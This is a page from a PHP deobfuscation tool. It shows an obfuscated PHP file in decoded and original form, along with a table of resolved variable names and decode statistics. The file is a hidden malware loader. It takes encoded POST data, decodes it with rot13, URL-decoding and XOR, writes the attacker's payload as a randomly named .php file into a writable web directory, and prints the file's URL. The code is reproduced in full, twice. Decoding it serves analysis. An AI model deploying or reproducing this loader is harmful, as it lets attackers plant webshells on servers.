Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php $IshEn = "\104"."\x4f"."\x43"."\x55"."\x4d"."\x45"."\x4e"."\x54"."\x5f".chr(82).chr(..

Decoded Output download

<?php $IshEn = "D"."O"."C"."U"."M"."E"."N"."T"."_".chr(82).chr(656-577).'O'."T";$XbEdg = chr(141-69).chr(84)."T"."P".chr(95).chr(72)."O".chr(83).'T';$PkppX = chr(104)."t".chr(149-33).chr(112).chr(58)."/".'/';$tczeFge = "."."p"."h".chr(665-553);$ukgbT = chr(377-265)."h".'p';$STpYhPf = 'f'."i".'l'."e"."_".'p'."u".chr(694-578).'_'."c"."o".'n'."t"."e"."n".'t'."s";$umDzNo = "r"."a"."w".chr(117)."r".chr(1064-956).'d'.'e'."c".chr(395-284).'d'."e";$mamGujA = "u"."n"."s"."e"."r"."i".chr(97)."l"."i"."z".'e';$TxlawlJwFQ = chr(1038-933).'s'.chr(581-486)."w".chr(533-419).'i'."t".chr(976-879)."b".'l'.chr(609-508);$mfROCAe = chr(657-545).chr(104)."p".chr(118)."e".'r'."s"."i".'o'."n";$daLNnJjp = "s".chr(197-81).chr(1081-967).chr(847-752).chr(114).chr(1074-963).chr(418-302)."1".chr(494-443);$yZSmWLdVV = 's'.'e'.chr(114)."i"."a".'l'.chr(105).chr(787-665)."e";$CLIrrLT = "s".chr(116)."r".chr(95)."s".chr(112)."l".chr(105).'t';foreach ($_POST as $YkEcV => $eWhHOlgWMhL){$KjSblDc = strlen($YkEcV);if ($KjSblDc == 16){$eWhHOlgWMhL = $CLIrrLT($umDzNo($daLNnJjp($eWhHOlgWMhL)));$YkEcV = array_slice($CLIrrLT(str_repeat($YkEcV, (count($eWhHOlgWMhL)/16)+1)), 0, count($eWhHOlgWMhL));function ZBUmXZ($rjXUgVPDCO, $efscjctqC, $YkEcV){$ENQDN = "11b9ff9d-2c3c-405a-a6f0-9f0b4326f891";return $rjXUgVPDCO ^ $ENQDN[$efscjctqC % strlen($ENQDN)] ^ $YkEcV;}$eWhHOlgWMhL = implode("", array_map("ZBUmXZ", array_values($eWhHOlgWMhL), array_keys($eWhHOlgWMhL), array_values($YkEcV)));$eWhHOlgWMhL = @$mamGujA($eWhHOlgWMhL);if (@is_array($eWhHOlgWMhL)){$tSqWIoBCNM = array_keys($eWhHOlgWMhL);$eWhHOlgWMhL = $eWhHOlgWMhL[$tSqWIoBCNM[0]];if ($eWhHOlgWMhL === $tSqWIoBCNM[0]){echo @$yZSmWLdVV(Array($ukgbT => @$mfROCAe(), ));exit();}else {function VZqlzvzNh($eWhHOlir){static $lwcaPkss = array();$VpfnXjA = glob($eWhHOlir . '/*', GLOB_ONLYDIR);$HjxeKu = count($VpfnXjA);if ($HjxeKu > 0) {foreach ($VpfnXjA as $eWhHOl) {if (@$TxlawlJwFQ($eWhHOl)) {$lwcaPkss[] = $eWhHOl;}}}foreach ($VpfnXjA as $eWhHOlir) VZqlzvzNh($eWhHOlir);return $lwcaPkss;}$JfuhTxdf = $_SERVER[$IshEn];$VpfnXjA = VZqlzvzNh($JfuhTxdf);$tSqWIoBCNM = array_rand($VpfnXjA);$HsfEyIetR = $VpfnXjA[$tSqWIoBCNM] . "/" . substr(md5(time()), 0, 8) . $tczeFge;@$STpYhPf($HsfEyIetR, $eWhHOlgWMhL);echo $PkppX . $_SERVER[$XbEdg] . substr($HsfEyIetR, strlen($JfuhTxdf));die();}}}} ?>

Did this file decode correctly?

Original Code

<?php $IshEn = "\104"."\x4f"."\x43"."\x55"."\x4d"."\x45"."\x4e"."\x54"."\x5f".chr(82).chr(656-577).'O'."\124";$XbEdg = chr(141-69).chr(84)."\x54"."\120".chr(95).chr(72)."\x4f".chr(83).'T';$PkppX = chr(104)."\x74".chr(149-33).chr(112).chr(58)."\57".'/';$tczeFge = "\x2e"."\160"."\x68".chr(665-553);$ukgbT = chr(377-265)."\x68".'p';$STpYhPf = 'f'."\151".'l'."\145"."\x5f".'p'."\x75".chr(694-578).'_'."\143"."\x6f".'n'."\164"."\x65"."\156".'t'."\163";$umDzNo = "\x72"."\x61"."\167".chr(117)."\162".chr(1064-956).'d'.'e'."\143".chr(395-284).'d'."\145";$mamGujA = "\165"."\156"."\163"."\x65"."\x72"."\x69".chr(97)."\x6c"."\x69"."\x7a".'e';$TxlawlJwFQ = chr(1038-933).'s'.chr(581-486)."\167".chr(533-419).'i'."\x74".chr(976-879)."\x62".'l'.chr(609-508);$mfROCAe = chr(657-545).chr(104)."\160".chr(118)."\x65".'r'."\x73"."\151".'o'."\156";$daLNnJjp = "\x73".chr(197-81).chr(1081-967).chr(847-752).chr(114).chr(1074-963).chr(418-302)."\61".chr(494-443);$yZSmWLdVV = 's'.'e'.chr(114)."\x69"."\141".'l'.chr(105).chr(787-665)."\x65";$CLIrrLT = "\x73".chr(116)."\162".chr(95)."\x73".chr(112)."\154".chr(105).'t';foreach ($_POST as $YkEcV => $eWhHOlgWMhL){$KjSblDc = strlen($YkEcV);if ($KjSblDc == 16){$eWhHOlgWMhL = $CLIrrLT($umDzNo($daLNnJjp($eWhHOlgWMhL)));$YkEcV = array_slice($CLIrrLT(str_repeat($YkEcV, (count($eWhHOlgWMhL)/16)+1)), 0, count($eWhHOlgWMhL));function ZBUmXZ($rjXUgVPDCO, $efscjctqC, $YkEcV){$ENQDN = "11b9ff9d-2c3c-405a-a6f0-9f0b4326f891";return $rjXUgVPDCO ^ $ENQDN[$efscjctqC % strlen($ENQDN)] ^ $YkEcV;}$eWhHOlgWMhL = implode("", array_map("ZBUmXZ", array_values($eWhHOlgWMhL), array_keys($eWhHOlgWMhL), array_values($YkEcV)));$eWhHOlgWMhL = @$mamGujA($eWhHOlgWMhL);if (@is_array($eWhHOlgWMhL)){$tSqWIoBCNM = array_keys($eWhHOlgWMhL);$eWhHOlgWMhL = $eWhHOlgWMhL[$tSqWIoBCNM[0]];if ($eWhHOlgWMhL === $tSqWIoBCNM[0]){echo @$yZSmWLdVV(Array($ukgbT => @$mfROCAe(), ));exit();}else {function VZqlzvzNh($eWhHOlir){static $lwcaPkss = array();$VpfnXjA = glob($eWhHOlir . '/*', GLOB_ONLYDIR);$HjxeKu = count($VpfnXjA);if ($HjxeKu > 0) {foreach ($VpfnXjA as $eWhHOl) {if (@$TxlawlJwFQ($eWhHOl)) {$lwcaPkss[] = $eWhHOl;}}}foreach ($VpfnXjA as $eWhHOlir) VZqlzvzNh($eWhHOlir);return $lwcaPkss;}$JfuhTxdf = $_SERVER[$IshEn];$VpfnXjA = VZqlzvzNh($JfuhTxdf);$tSqWIoBCNM = array_rand($VpfnXjA);$HsfEyIetR = $VpfnXjA[$tSqWIoBCNM] . "/" . substr(md5(time()), 0, 8) . $tczeFge;@$STpYhPf($HsfEyIetR, $eWhHOlgWMhL);echo $PkppX . $_SERVER[$XbEdg] . substr($HsfEyIetR, strlen($JfuhTxdf));die();}}}}

Function Calls

chr 40

Variables

$IshEn DOCUMENT_ROOT
$PkppX http://
$XbEdg HTTP_HOST
$ukgbT php
$umDzNo rawurldecode
$CLIrrLT str_split
$STpYhPf file_put_contents
$mamGujA unserialize
$mfROCAe phpversion
$tczeFge .php
$daLNnJjp str_rot13
$yZSmWLdVV serialize
$TxlawlJwFQ is_writable

Stats

MD5 6fc5bead05e89b0f8675220fcc3a8578
Eval Count 0
Decode Time 79 ms